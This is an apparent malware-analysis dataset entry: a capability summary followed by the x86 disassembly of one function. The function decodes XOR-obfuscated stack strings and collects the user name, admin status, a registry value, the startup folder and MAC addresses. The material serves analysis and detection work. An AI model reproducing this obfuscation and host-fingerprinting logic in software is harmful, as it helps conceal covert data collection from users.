Function at 0x408e0f
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get mac address on windows
Get session user name
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4216f5
mov eax, dword fs:[0]
push eax
mov eax, 0x32f4
call fcn.00420890
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebp - 0x3300]
call fcn.00404293
lea ecx, [ebp - 0x31d4]
call fcn.00407f76
lea ecx, [ebp - 0x3208]
call fcn.00407e80
movaps xmm0, xmmword [0x4025b0]
xor ecx, ecx
movups xmmword [ebp - 0x2dfc], xmm0
mov dword [ebp - 0x2dec], 0x2a862a57
mov dword [ebp - 0x2de8], 0x47474747
mov dword [ebp - 0x2de4], 0x14174747
mov byte [ebp - 0x2de0], 0
movsx eax, byte [ebp - 0x2dfc]
and eax, 0x8000000f
jns 0x408eac
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2dfb], al
inc ecx
cmp ecx, 0x1b
jb 0x408e99
lea eax, [ebp - 0x2dfb]
mov byte [ebp - 0x2de0], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea eax, [ebp - 0x354]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov al, 0x5d
mov dword [ebp - 0x2df0], 0x6a37685d
mov dword [ebp - 0x2dec], 0x614e5d2d
xor ecx, ecx
mov dword [ebp - 0x2de8], 0x322d4755
mov word [ebp - 0x2de4], 0x1780
mov byte [ebp - 0x2de2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x408f22
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2def], al
inc ecx
cmp ecx, 0xd
jae 0x408f37
mov al, byte [ebp - 0x2df0]
jmp 0x408f13
lea eax, [ebp - 0x354]
mov byte [ebp - 0x2de2], 0
push eax
lea eax, [ebp - 0x2def]
push eax
push ebx
call fcn.00408052
add esp, 0xc
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
xor ecx, ecx
test eax, eax
je 0x408f9e
movaps xmm0, xmmword [0x402100]
movups xmmword [ebp - 0x2df0], xmm0
mov byte [ebp - 0x2de0], cl
movsx eax, byte [ebp - 0x2df0]
and eax, 0x8000000f
jns 0x408f88
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2def], al
inc ecx
cmp ecx, 0xf
jb 0x408f75
mov byte [ebp - 0x2de0], 0
jmp 0x408fd3
movaps xmm0, xmmword [0x402020]
movups xmmword [ebp - 0x2df0], xmm0
movsx eax, byte [ebp - 0x2df0]
and eax, 0x8000000f
jns 0x408fbf
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2def], al
inc ecx
cmp ecx, 0xe
jb 0x408fac
mov byte [ebp - 0x2de1], 0
lea eax, [ebp - 0x2def]
push eax
push ebx
call fcn.00408052
movaps xmm0, xmmword [0x402250]
pop ecx
pop ecx
movups xmmword [ebp - 0x2dfc], xmm0
mov dword [ebp - 0x2dec], 0x41412480
xor ecx, ecx
mov dword [ebp - 0x2de8], 0x41414141
mov word [ebp - 0x2de4], 0xe11
mov byte [ebp - 0x2de2], 0
movsx eax, byte [ebp - 0x2dfc]
and eax, 0x8000000f
jns 0x409029
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2dfb], al
inc ecx
cmp ecx, 0x19
jb 0x409016
lea eax, [ebp - 0x2dfb]
mov byte [ebp - 0x2de2], 0
push eax
push ebx
call fcn.00408052
mov edx, dword [ebp - 0x3214]
lea eax, [ebp - 0x2e68]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x3300]
push eax
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x402b40]
xor ecx, ecx
movups xmmword [ebp - 0x2e00], xmm0
mov dword [ebp - 0x2df0], 0x23757762
mov dword [ebp - 0x2dec], 0x69236267
mov dword [ebp - 0x2de8], 0x62692362
mov word [ebp - 0x2de4], 0x4d23
mov byte [ebp - 0x2de2], 0
mov al, byte [ebp - 0x2e00]
xor byte [ebp + ecx - 0x2dff], al
inc ecx
cmp ecx, 0x1d
jb 0x4090a4
movzx eax, word [ebp - 0x2e68]
push eax
movzx eax, word [ebp - 0x2e66]
push eax
movzx eax, word [ebp - 0x2e62]
push eax
movzx eax, word [ebp - 0x2e5e]
push eax
movzx eax, word [ebp - 0x2e60]
push eax
lea eax, [ebp - 0x2dff]
mov byte [ebp - 0x2de2], 0
push eax
push ebx
call fcn.00408052
add esp, 0x1c
mov dword [ebp - 0x2e14], 0x76696f24
mov al, 0x24
mov dword [ebp - 0x2e10], 0x37706972
mov dword [ebp - 0x2e0c], 0x70683236
xor ecx, ecx
mov word [ebp - 0x2e08], 0x70
movsx eax, al
and eax, 0x8000000f
jns 0x409130
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e13], al
inc ecx
cmp ecx, 0xc
jae 0x409145
mov al, byte [ebp - 0x2e14]
jmp 0x409121
mov edx, dword [ebp - 0x32fc]
lea eax, [ebp - 0x2e13]
mov ecx, dword [ebp - 0x3300]
push eax
mov byte [ebp - 0x2e07], 0
call fcn.00406f1f
call eax
mov esi, eax
test esi, esi
je 0x409fd5
movaps xmm0, xmmword [0x402510]
xor ecx, ecx
movups xmmword [ebp - 0x2df8], xmm0
mov dword [ebp - 0x2de8], 0x5c49455a
mov dword [ebp - 0x2de4], 0x464741
mov al, byte [ebp - 0x2df8]
xor byte [ebp + ecx - 0x2df7], al
inc ecx
cmp ecx, 0x16
jb 0x409194
mov edx, dword [ebp - 0x32f8]
lea eax, [ebp - 0x2df7]
mov ecx, dword [ebp - 0x3300]
push eax
push esi
mov byte [ebp - 0x2de1], 0
call fcn.00406f1f
call eax
test eax, eax
je 0x409fce
lea ecx, [ebp - 0x2ffc]
push ecx
call eax
cmp eax, 0xffffffff
je 0x409fce
xor eax, eax
movaps xmm0, xmmword [0x4025c0]
cmp word [ebp - 0x2f62], ax
push 0x3c
setne al
xor ecx, ecx
test eax, eax
pop edi
cmovne ecx, dword [ebp - 0x2f54]
add ecx, dword [ebp - 0x2ffc]
mov eax, ecx
cdq
idiv edi
movups xmmword [ebp - 0x2e00], xmm0
mov dword [ebp - 0x31a8], edx
movaps xmm0, xmmword [0x402030]
cdq
mov edi, eax
xor edi, edx
sub edi, edx
xor edx, edx
movups xmmword [ebp - 0x2df0], xmm0
mov al, byte [ebp - 0x2e00]
xor byte [ebp + edx - 0x2dff], al
inc edx
cmp edx, 0x1e
jb 0x409233
push dword [ebp - 0x31a8]
sar ecx, 0x1f
lea eax, [ebp - 0x2dff]
and ecx, 2
mov byte [ebp - 0x2de1], 0
push edi
add ecx, 0x2b
push ecx
push eax
push ebx
call fcn.00408052
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movaps xmm0, xmmword [0x402a90]
xor ecx, ecx
movups xmmword [ebp - 0x2e04], xmm0
mov dword [ebp - 0x2de4], 0x19494949
movaps xmm0, xmmword [0x402540]
movups xmmword [ebp - 0x2df4], xmm0
mov word [ebp - 0x2de0], 0x16
movsx eax, byte [ebp - 0x2e04]
and eax, 0x8000000f
jns 0x4092b9
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e03], al
inc ecx
cmp ecx, 0x24
jb 0x4092a6
lea eax, [ebp - 0x2e03]
mov byte [ebp - 0x2ddf], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
mov al, 0x5c
mov dword [ebp - 0x2e2c], 0x7e71775c
mov dword [ebp - 0x2e28], 0x3f78717a
xor ecx, ecx
mov dword [ebp - 0x2e24], 0x78703a3e
mov word [ebp - 0x2e20], 0x78
movsx eax, al
and eax, 0x8000000f
jns 0x409316
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e2b], al
inc ecx
cmp ecx, 0xc
jae 0x40932b
mov al, byte [ebp - 0x2e2c]
jmp 0x409307
mov edx, dword [ebp - 0x32fc]
lea eax, [ebp - 0x2e2b]
mov ecx, dword [ebp - 0x3300]
push eax
mov byte [ebp - 0x2e1f], 0
call fcn.00406f1f
call eax
mov esi, eax
mov dword [ebp - 0x2e1c], esi
test esi, esi
je 0x4094cd
mov al, 0x47
mov dword [ebp - 0x2dec], 0x7b6c4e47
mov dword [ebp - 0x2de8], 0x796c7a5c
xor ecx, ecx
mov dword [ebp - 0x2de4], 0x50766c4e
mov word [ebp - 0x2de0], 0x4b
movsx eax, al
and eax, 0x8000000f
jns 0x409396
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2deb], al
inc ecx
cmp ecx, 0xc
jae 0x4093ab
mov al, byte [ebp - 0x2dec]
jmp 0x409387
mov edx, dword [ebp - 0x32f8]
lea eax, [ebp - 0x2deb]
mov ecx, dword [ebp - 0x3300]
push eax
push esi
mov byte [ebp - 0x2ddf], 0
call fcn.00406f1f
call eax
mov edi, eax
mov dword [ebp - 0x2e14], 0x8374564f
mov dl, 0x4f
mov dword [ebp - 0x2e10], 0x587e7456
mov dword [ebp - 0x2e0c], 0x507e757d
xor ecx, ecx
mov byte [ebp - 0x2e08], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x409407
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e13], al
inc ecx
cmp ecx, 0xb
jae 0x40941c
mov dl, byte [ebp - 0x2e14]
jmp 0x4093f8
mov edx, dword [ebp - 0x32f8]
lea eax, [ebp - 0x2e13]
mov ecx, dword [ebp - 0x3300]
push eax
push esi
mov byte [ebp - 0x2e08], 0
call fcn.00406f1f
call eax
mov esi, eax
test edi, edi
je 0x4094c1
test esi, esi
je 0x4094c1
and dword [ebp - 0x31a8], 0
push 0x10
call edi
push 0
push 4
lea ecx, [ebp - 0x31a8]
push ecx
push 4
push eax
call esi
mov cl, 0x6a
mov dword [ebp - 0x2dec], 0x3740316a
mov dword [ebp - 0x2de8], 0x252f2d4a
xor eax, eax
mov dword [ebp - 0x2de4], 0x194f4a50
mov word [ebp - 0x2de0], 0x60
xor byte [ebp + eax - 0x2deb], cl
inc eax
cmp eax, 0xc
jae 0x4094a3
mov cl, byte [ebp - 0x2dec]
jmp 0x40948e
lea eax, [ebp - 0x31a8]
mov byte [ebp - 0x2ddf], 0
push eax
lea eax, [ebp - 0x2deb]
push eax
push ebx
call fcn.00408052
add esp, 0xc
push dword [ebp - 0x2e1c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x2f10]
call fcn.00408af9
xor edx, edx
mov dword [ebp - 4], edx
mov ecx, edx
movaps xmm0, xmmword [0x4020c0]
movups xmmword [ebp - 0x2dfc], xmm0
mov dword [ebp - 0x2dec], 0x6120009
mov dword [ebp - 0x2de8], 0x475d0200
mov dword [ebp - 0x2de4], 0x6d1442
mov al, byte [ebp - 0x2dfc]
xor byte [ebp + ecx - 0x2dfb], al
inc ecx
cmp ecx, 0x1a
jb 0x40950b
lea ecx, [ebp - 0x2f10]
mov byte [ebp - 0x2de1], dl
call fcn.004051d2
push eax
lea eax, [ebp - 0x2dfb]
push eax
push ebx
call fcn.00408076
add esp, 0xc
lea ecx, [ebp - 0x2ef8]
call fcn.00408972
mov byte [ebp - 4], 1
xor ecx, ecx
movaps xmm0, xmmword [0x402300]
movups xmmword [ebp - 0x2df4], xmm0
mov word [ebp - 0x2de4], 0xe77
mov byte [ebp - 0x2de2], 0
movsx eax, byte [ebp - 0x2df4]
and eax, 0x8000000f
jns 0x409582
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x11
jb 0x40956f
lea ecx, [ebp - 0x2ef8]
mov byte [ebp - 0x2de2], 0
call fcn.004051d2
push eax
lea eax, [ebp - 0x2df3]
push eax
push ebx
call fcn.00408076
movaps xmm0, xmmword [0x402730]
add esp, 0xc
movups xmmword [ebp - 0x2e00], xmm0
xor ecx, ecx
mov byte [ebp - 0x2de0], 0
movaps xmm0, xmmword [0x402280]
movups xmmword [ebp - 0x2df0], xmm0
mov al, byte [ebp - 0x2e00]
xor byte [ebp + ecx - 0x2dff], al
inc ecx
cmp ecx, 0x1f
jb 0x4095d7
lea eax, [ebp - 0x2dff]
mov byte [ebp - 0x2de0], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea eax, [ebp - 0x31b4]
mov dword [ebp - 0x31b4], 0x100
push eax
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x40967d
movaps xmm0, xmmword [0x402a70]
xor ecx, ecx
movups xmmword [ebp - 0x2df8], xmm0
mov dword [ebp - 0x2de8], 0x3b3e246c
mov word [ebp - 0x2de4], 0x146d
mov byte [ebp - 0x2de2], 0
mov al, byte [ebp - 0x2df8]
xor byte [ebp + ecx - 0x2df7], al
inc ecx
cmp ecx, 0x15
jb 0x40964c
lea eax, [ebp - 0x250]
mov byte [ebp - 0x2de2], 0
push eax
lea eax, [ebp - 0x2df7]
push eax
push ebx
call fcn.00408052
add esp, 0xc
lea ecx, [ebp - 0x2ee0]
call fcn.00408632
mov byte [ebp - 4], 2
xor ecx, ecx
movaps xmm0, xmmword [0x4021d0]
movups xmmword [ebp - 0x2df0], xmm0
mov byte [ebp - 0x2de0], 0
movsx eax, byte [ebp - 0x2df0]
and eax, 0x8000000f
jns 0x4096b6
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2def], al
inc ecx
cmp ecx, 0xf
jb 0x4096a3
lea ecx, [ebp - 0x2ee0]
mov byte [ebp - 0x2de0], 0
call fcn.004051d2
push eax
lea eax, [ebp - 0x2def]
push eax
push ebx
call fcn.00408076
movaps xmm0, xmmword [0x402a30]
add esp, 0xc
movups xmmword [ebp - 0x2e04], xmm0
xor ecx, ecx
mov word [ebp - 0x2de4], 0x1518
movaps xmm0, xmmword [0x402520]
movups xmmword [ebp - 0x2df4], xmm0
mov byte [ebp - 0x2de2], 0
movsx eax, byte [ebp - 0x2e04]
and eax, 0x8000000f
jns 0x409727
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e03], al
inc ecx
cmp ecx, 0x21
jb 0x409714
lea eax, [ebp - 0x2e03]
mov byte [ebp - 0x2de2], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea ecx, [ebp - 0x2ec8]
call fcn.00408c26
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x4024c0]
movups xmmword [ebp - 0x2df4], xmm0
mov dword [ebp - 0x2de4], 0x730a5c59
mov byte [ebp - 0x2de0], 0
mov al, byte [ebp - 0x2df4]
xor byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x13
jb 0x40977a
lea ecx, [ebp - 0x2ec8]
mov byte [ebp - 0x2de0], 0
call fcn.004051d2
push eax
lea eax, [ebp - 0x2df3]
push eax
push ebx
call fcn.00408076
add esp, 0xc
lea ecx, [ebp - 0x2eb0]
mov edx, 0xbb7b9691
call fcn.0041b53c
mov byte [ebp - 4], 4
xor ecx, ecx
movaps xmm0, xmmword [0x402120]
movups xmmword [ebp - 0x2df8], xmm0
mov dword [ebp - 0x2de8], 0x4f550a02
mov dword [ebp - 0x2de4], 0x651c4a
mov al, byte [ebp - 0x2df8]
xor byte [ebp + ecx - 0x2df7], al
inc ecx
cmp ecx, 0x16
jb 0x4097e8
lea ecx, [ebp - 0x2eb0]
mov byte [ebp - 0x2de1], 0
call fcn.004051d2
push eax
lea eax, [ebp - 0x2df7]
push eax
push ebx
call fcn.00408076
movaps xmm0, xmmword [0x402a50]
add esp, 0xc
movups xmmword [ebp - 0x2e00], xmm0
xor edx, edx
movaps xmm0, xmmword [0x402bc0]
mov ecx, edx
movups xmmword [ebp - 0x2df0], xmm0
mov byte [ebp - 0x2de0], dl
movsx eax, byte [ebp - 0x2e00]
and eax, 0x8000000f
jns 0x409857
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2dff], al
inc ecx
cmp ecx, 0x1f
jb 0x409844
lea eax, [ebp - 0x31ac]
mov byte [ebp - 0x2de0], dl
push eax
push 0x20119
push edx
lea eax, [ebp - 0x2dff]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40999d
push 0x3c
pop eax
xor edx, edx
mov byte [ebp - 0x2e0e], al
mov dword [ebp - 0x2e1c], 0xff
mov cl, 0x52
mov dword [ebp - 0x2e14], 0x31331f52
mov eax, edx
mov word [ebp - 0x2e10], 0x3b3a
mov dword [ebp - 0x2e0d], 0x3b271537
mov word [ebp - 0x2e09], 0x36
xor byte [ebp + eax - 0x2e13], cl
inc eax
cmp eax, 0xb
jae 0x4098e5
mov cl, byte [ebp - 0x2e14]
jmp 0x4098d0
mov ecx, dword [ebp - 0x3208]
lea eax, [ebp - 0x2e1c]
push eax
lea eax, [ebp - 0x150]
mov byte [ebp - 0x2e08], dl
push eax
push edx
push edx
mov edx, dword [ebp - 0x3204]
lea eax, [ebp - 0x2e13]
push eax
push dword [ebp - 0x31ac]
call fcn.00406f1f
call eax
test eax, eax
jne 0x40999d
push dword [ebp - 0x31ac]
mov edx, dword [ebp - 0x31f8]
mov ecx, dword [ebp - 0x3208]
call fcn.00406f1f
call eax
mov cl, 0x43
mov dword [ebp - 0x2df0], 0x1e691843
mov dword [ebp - 0x2dec], 0xa160463
xor eax, eax
mov dword [ebp - 0x2de8], 0x66637907
mov word [ebp - 0x2de4], 0x4930
mov byte [ebp - 0x2de2], 0
xor byte [ebp + eax - 0x2def], cl
inc eax
cmp eax, 0xd
jae 0x40997f
mov cl, byte [ebp - 0x2df0]
jmp 0x40996a
lea eax, [ebp - 0x150]
mov byte [ebp - 0x2de2], 0
push eax
lea eax, [ebp - 0x2def]
push eax
push ebx
call fcn.00408052
add esp, 0xc
lea ecx, [ebp - 0x2e98]
call fcn.004083aa
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x402130]
movups xmmword [ebp - 0x2df4], xmm0
mov dword [ebp - 0x2de4], 0x553564c
mov word [ebp - 0x2de0], 0x7c
mov al, byte [ebp - 0x2df4]
xor byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x14
jb 0x4099cf
sub esp, 0x18
mov byte [ebp - 0x2ddf], 0
lea eax, [ebp - 0x2df3]
lea esi, [ebp - 0x2e98]
push 6
pop ecx
mov edi, esp
push eax
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.00408052
add esp, 0x20
mov dword [ebp - 0x2df0], 0x6b38693e
mov al, 0x3e
mov dword [ebp - 0x2dec], 0x6f82612e
mov dword [ebp - 0x2de8], 0x7e838280
xor ecx, ecx
mov word [ebp - 0x2de4], 0x2e48
mov byte [ebp - 0x2de2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x409a4a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2def], al
inc ecx
cmp ecx, 0xd
jae 0x409a5f
mov al, byte [ebp - 0x2df0]
jmp 0x409a3b
lea eax, [ebp - 0x2def]
mov byte [ebp - 0x2de2], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea eax, [ebp - 0x55c]
push eax
xor eax, eax
push eax
push eax
push 7
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x409adc
push 0xf
pop ecx
mov byte [ebp - 0x2e1c], cl
xor eax, eax
mov dword [ebp - 0x2e1b], 0x57c632a
mov byte [ebp - 0x2e17], 0
xor byte [ebp + eax - 0x2e1b], cl
inc eax
cmp eax, 4
jae 0x409abe
mov cl, byte [ebp - 0x2e1c]
jmp 0x409aa9
lea eax, [ebp - 0x55c]
mov byte [ebp - 0x2e17], 0
push eax
lea eax, [ebp - 0x2e1b]
push eax
push ebx
call fcn.00408052
add esp, 0xc
movaps xmm0, xmmword [0x402a10]
xor ecx, ecx
movups xmmword [ebp - 0x2e04], xmm0
mov dword [ebp - 0x2de4], 0xb0e3e
movaps xmm0, xmmword [0x402490]
movups xmmword [ebp - 0x2df4], xmm0
movsx eax, byte [ebp - 0x2e04]
and eax, 0x8000000f
jns 0x409b17
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2e03], al
inc ecx
cmp ecx, 0x22
jb 0x409b04
lea eax, [ebp - 0x2e03]
mov byte [ebp - 0x2de1], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea ecx, [ebp - 0x50]
call fcn.004088ca
mov cl, 0x34
mov dword [ebp - 0x2dec], 0x691e6f34
mov dword [ebp - 0x2de8], 0x61647714
xor eax, eax
mov dword [ebp - 0x2de4], 0x4711140e
mov word [ebp - 0x2de0], 0x3e
xor byte [ebp + eax - 0x2deb], cl
inc eax
cmp eax, 0xc
jae 0x409b82
mov cl, byte [ebp - 0x2dec]
jmp 0x409b6d
lea eax, [ebp - 0x50]
mov byte [ebp - 0x2ddf], 0
push eax
lea eax, [ebp - 0x2deb]
push eax
push ebx
call fcn.00408052
add esp, 0xc
lea ecx, [ebp - 0x2e80]
mov edx, 0x95c1e65f
call fcn.0041b53c
mov byte [ebp - 4], 6
xor ecx, ecx
movaps xmm0, xmmword [0x402320]
movups xmmword [ebp - 0x2df4], xmm0
mov dword [ebp - 0x2de4], 0x167f7431
mov byte [ebp - 0x2de0], 0
movsx eax, byte [ebp - 0x2df4]
and eax, 0x8000000f
jns 0x409be5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x13
jb 0x409bd2
lea ecx, [ebp - 0x2e80]
mov byte [ebp - 0x2de0], 0
call fcn.004051d2
push eax
lea eax, [ebp - 0x2df3]
push eax
push ebx
call fcn.00408052
add esp, 0xc
call fcn.00408511
movaps xmm0, xmmword [0x4022d0]
mov esi, eax
movups xmmword [ebp - 0x2df8], xmm0
mov dword [ebp - 0x2de8], 0x7d74742d
xor ecx, ecx
mov dword [ebp - 0x2de4], 0x82505528
mov word [ebp - 0x2de0], 0x12
movsx eax, byte [ebp - 0x2df8]
and eax, 0x8000000f
jns 0x409c5c
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2df7], al
inc ecx
cmp ecx, 0x18
jb 0x409c49
push edx
push esi
lea eax, [ebp - 0x2df7]
mov byte [ebp - 0x2ddf], 0
push eax
push ebx
call fcn.00408052
mov edx, dword [ebp - 0x322c]
lea eax, [ebp - 0x2f50]
mov ecx, dword [ebp - 0x3300]
add esp, 0x10
mov dword [ebp - 0x2f50], 0x40
push eax
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x402240]
xor ecx, ecx
movups xmmword [ebp - 0x2df4], xmm0
mov dword [ebp - 0x2de4], 0xb434e
movsx eax, byte [ebp - 0x2df4]
and eax, 0x8000000f
jns 0x409cd3
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x12
jb 0x409cc0
mov ecx, dword [ebp - 0x2f48]
mov eax, dword [ebp - 0x2f44]
shrd ecx, eax, 0x14
mov byte [ebp - 0x2de1], 0
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x2df3]
push eax
push ebx
call fcn.00408052
movaps xmm0, xmmword [0x4029d0]
add esp, 0x10
movups xmmword [ebp - 0x2e00], xmm0
xor ecx, ecx
mov byte [ebp - 0x2de0], 0
movaps xmm0, xmmword [0x402150]
movups xmmword [ebp - 0x2df0], xmm0
movsx eax, byte [ebp - 0x2e00]
and eax, 0x8000000f
jns 0x409d44
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2dff], al
inc ecx
cmp ecx, 0x1f
jb 0x409d31
lea eax, [ebp - 0x2dff]
mov byte [ebp - 0x2de0], 0
push eax
push ebx
call fcn.00408052
mov edx, dword [ebp - 0x31c8]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x31d4]
push 0
call fcn.00406f1f
call eax
mov edx, dword [ebp - 0x31c8]
mov esi, eax
mov ecx, dword [ebp - 0x31d4]
push 1
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x4022c0]
mov edx, eax
movups xmmword [ebp - 0x2df4], xmm0
mov dword [ebp - 0x2de4], 0x5a3475
xor ecx, ecx
mov al, byte [ebp - 0x2df4]
xor byte [ebp + ecx - 0x2df3], al
inc ecx
cmp ecx, 0x12
jb 0x409daf
push edx
push esi
lea eax, [ebp - 0x2df3]
mov byte [ebp - 0x2de1], 0
push eax
push ebx
call fcn.00408052
mov edx, dword [ebp - 0x31cc]
lea eax, [ebp - 0x31a4]
mov ecx, dword [ebp - 0x31d4]
add esp, 0x10
mov dword [ebp - 0x31a4], 0x1a8
push 1
push eax
push 0
push 0
call fcn.00406f1f
call eax
push 0x33
pop ecx
mov byte [ebp - 0x2dec], cl
xor eax, eax
mov dword [ebp - 0x2deb], 0x136e1968
mov dword [ebp - 0x2de7], 0x9666374
mov dword [ebp - 0x2de3], 0x39401613
mov byte [ebp - 0x2ddf], 0
xor byte [ebp + eax - 0x2deb], cl
inc eax
cmp eax, 0xc
jae 0x409e4a
mov cl, byte [ebp - 0x2dec]
jmp 0x409e35
lea eax, [ebp - 0x3180]
mov byte [ebp - 0x2ddf], 0
push eax
lea eax, [ebp - 0x2deb]
push eax
push ebx
call fcn.00408052
movaps xmm0, xmmword [0x402590]
add esp, 0xc
movups xmmword [ebp - 0x2e00], xmm0
xor ecx, ecx
mov byte [ebp - 0x2de0], 0
movaps xmm0, xmmword [0x402000]
movups xmmword [ebp - 0x2df0], xmm0
mov al, byte [ebp - 0x2e00]
xor byte [ebp + ecx - 0x2dff], al
inc ecx
cmp ecx, 0x1f
jb 0x409e8d
lea eax, [ebp - 0x2dff]
mov byte [ebp - 0x2de0], 0
push eax
push ebx
call fcn.00408052
pop ecx
pop ecx
lea eax, [ebp - 0x31b0]
mov dword [ebp - 0x31b0], 0x2880
push eax
lea eax, [ebp - 0x2ddc]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea esi, [ebp - 0x2ddc]
test esi, esi
je 0x409f75
movaps xmm0, xmmword [0x402b50]
xor edx, edx
movups xmmword [ebp - 0x2e58], xmm0
mov ecx, edx
mov dword [ebp - 0x2e38], 0x7d62006a
movaps xmm0, xmmword [0x402860]
movups xmmword [ebp - 0x2e48], xmm0
mov dword [ebp - 0x2e34], 0x52006a68
mov byte [ebp - 0x2e30], dl
mov al, byte [ebp - 0x2e58]
xor byte [ebp + ecx - 0x2e57], al
inc ecx
cmp ecx, 0x27
jb 0x409f1c
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x2e57]
mov byte [ebp - 0x2e30], dl
push eax
push ebx
call fcn.00408052
add esp, 0x20
mov esi, dword [esi]
test esi, esi
jne 0x409ee2
lea ecx, [ebp - 0x2e80]
call fcn.0040400e
lea ecx, [ebp - 0x2e98]
call fcn.0040400e
lea ecx, [ebp - 0x2eb0]
call fcn.0040400e
lea ecx, [ebp - 0x2ec8]
call fcn.0040400e
lea ecx, [ebp - 0x2ee0]
call fcn.0040400e
lea ecx, [ebp - 0x2ef8]
call fcn.0040400e
lea ecx, [ebp - 0x2f10]
call fcn.0040400e
jmp 0x409fd5
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fa65
leave
ret